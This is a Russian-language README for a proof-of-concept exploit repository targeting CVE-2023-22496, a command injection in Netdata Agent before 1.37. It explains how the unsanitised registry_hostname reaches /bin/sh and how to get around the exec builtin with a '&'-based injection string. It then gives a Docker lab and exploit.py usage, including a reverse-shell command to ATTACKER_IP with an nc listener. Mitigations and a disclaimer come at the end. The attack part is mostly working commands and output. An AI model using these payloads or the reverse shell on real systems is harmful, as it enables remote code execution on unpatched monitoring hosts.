
PoC для CVE-2023-22496: Netdata Agent <1.37 - Внедрение команд ОС через registry_hostname
Критичность: Критический (CVSS 9.8)
Затронуто: Netdata Agent < 1.37.0
Исправлено в: v1.37.0
Тип: Внедрение команд ОС (CWE-78)
CVE-2023-22496 — это уязвимость внедрения команд ОС в системе уведомлений о предупреждениях Netdata. registry_hostname любого узла в цепочке потоковой передачи вставляется в команду оболочки без очистки. Злоумышленник, который может установить registry hostname в файле конфигурации Netdata, может добиться удаленного выполнения кода от имени пользователя процесса netdata на любом родительском узле, обрабатывающем предупреждение.
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← NO SANITISATION — attacker-controlled
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // run via /bin/sh
...
}
spawn_enq_cmd передает строку в /bin/sh -c, который выполняет ее как команду оболочки. Поскольку registry_hostname никогда не очищается, злоумышленник может внедрить произвольные команды оболочки.
execНаивное внедрение `'; cmd; '` не срабатывает, потому что встроенная команда exec заменяет текущий процесс оболочки, поэтому внедренная ;cmd; никогда не выполняется.
Рабочий обход — используйте & (оператор фона):
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# Execution flow:
# exec alarm-notify.sh 'root' 'x' & → runs in background; shell stays alive
# touch /tmp/pwned & → shell evaluates this; file created
# # → rest is a comment; ignored
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (attacker) │ │ (relay) │ │ (victim / target) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() fires
with injected registry_hostname
→ RCE on agent_parent
Злоумышленнику достаточно контролировать любой узел в цепочке потоковой передачи. registry_hostname распространяется в протоколе потока и используется дословно каждым родительским узлом при вызове health_alarm_execute.
CVE-2023-22496-PoC/
├── Dockerfile # Собирает netdata-vuln:v1.36.1 из исходников
├── docker-compose.yaml # Уязвимая среда потоковой передачи из 3 узлов
├── exploit.py # Автономный скрипт эксплойта
├── config/
│ ├── parent_netdata.conf # Конфигурация родителя (доступна для записи — эксплойт перезаписывает её)
│ ├── parent_stream.conf # Родитель принимает потоки и обрабатывает предупреждения
│ ├── parent_guid # Фиксированный GUID узла
│ ├── middle_netdata.conf # Промежуточная конфигурация ретранслятора
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # Конфигурация отправляющего дочернего узла
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
Подождите ~15 секунд для инициализации Netdata, затем проверьте:
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"
# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
Ожидаемый вывод:
======================================================================
CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
Shell command : 'touch /tmp/pwned'
Injected host : "x' & touch /tmp/pwned & #"
[*] Pre-flight: verifying Docker environment
[*] All 3 containers are running.
[*] Step 1: Writing injected netdata.conf for agent_parent
Written: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] Step 2: Restarting agent_parent to load injected config
...
agent_parent is up and responding.
[*] Step 3: Waiting 65s for a disk_space WARNING alarm
[*] Step 4: Checking for command execution evidence
======================================================================
✅ SUCCESS — CVE-2023-22496 CONFIRMED
'/tmp/pwned' exists on agent_parent
======================================================================
# On your listener machine:
nc -lvnp 4444
# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# Stop and remove containers + volumes
docker compose down -v
# Remove the image
docker rmi netdata-vuln:v1.36.1
| Действие | Описание |
|---|---|
| Обновление | Обновите Netdata Agent до версии ≥ v1.37.0 |
| Ограничение | Ограничьте доступ на запись к netdata.conf |
| Сеть | Изолируйте порты потоковой передачи (19999/tcp) только для доверенных сетей |
| Проверка | netdata --version — убедитесь, что вы не используете версию ниже 1.37 |
Исправление в версии 1.37.0 очищает registry_hostname, отклоняя любые символы вне диапазона [a-zA-Z0-9._-] перед вставкой в команду оболочки.
Этот репозиторий предоставлен только для образовательных и авторизованных целей исследования безопасности. Запуск этого PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является незаконным. Авторы не несут ответственности за неправомерное использование.